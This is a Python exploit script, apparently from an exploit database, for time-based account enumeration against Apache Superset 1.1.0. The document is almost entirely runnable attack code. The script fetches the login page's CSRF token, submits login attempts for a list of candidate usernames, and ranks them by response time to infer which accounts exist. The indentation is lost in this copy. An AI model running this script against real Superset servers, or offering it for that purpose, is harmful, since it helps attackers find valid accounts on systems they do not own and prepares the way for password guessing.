# Exploit Title: Apache Superset 1.1.0 - Time-Based Account Enumeration
# Author: Dolev Farhi
# Date: 2021-05-13
# Vendor Homepage: https://superset.apache.org/
# Version: 1.1.0
# Tested on: Ubuntu
import sys
import requests
import time
scheme = 'http'
host = '192.168.1.1'
port = 8080
# change with your wordlist
usernames = ['guest', 'admin', 'administrator', 'idontexist', 'superset']
url = '{}://{}:{}'.format(scheme, host, port)
login_endpoint = '/login/'
session = requests.Session()
def get_csrf():
token = None
r = session.get(url + login_endpoint, verify=False)
for line in r.text.splitlines():
if 'csrf_token' in line:
try:
token = line.strip().split('"')[-2]
except:
pass
return token
csrf_token = get_csrf()
if not csrf_token:
print('Could not obtain CSRF token, the exploit will likely fail.')
sys.exit(1)
data = {
'csrf_token':csrf_token,
'username':'',
'password':'abc'
}
attempts = {}
found = False
for user in usernames:
start = time.time()
data['username'] = user
r = session.post(url + login_endpoint, data=data, verify=False, allow_redirects=True)
roundtrip = time.time() - start
attempts["%.4f" % roundtrip] = user
print('[!] Accounts existence probability is sorted from high to low')
count = 0
for key in sorted(attempts, reverse=True):
count += 1
print("%s. %s (timing: %s)" % (count, attempts[key], key))Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation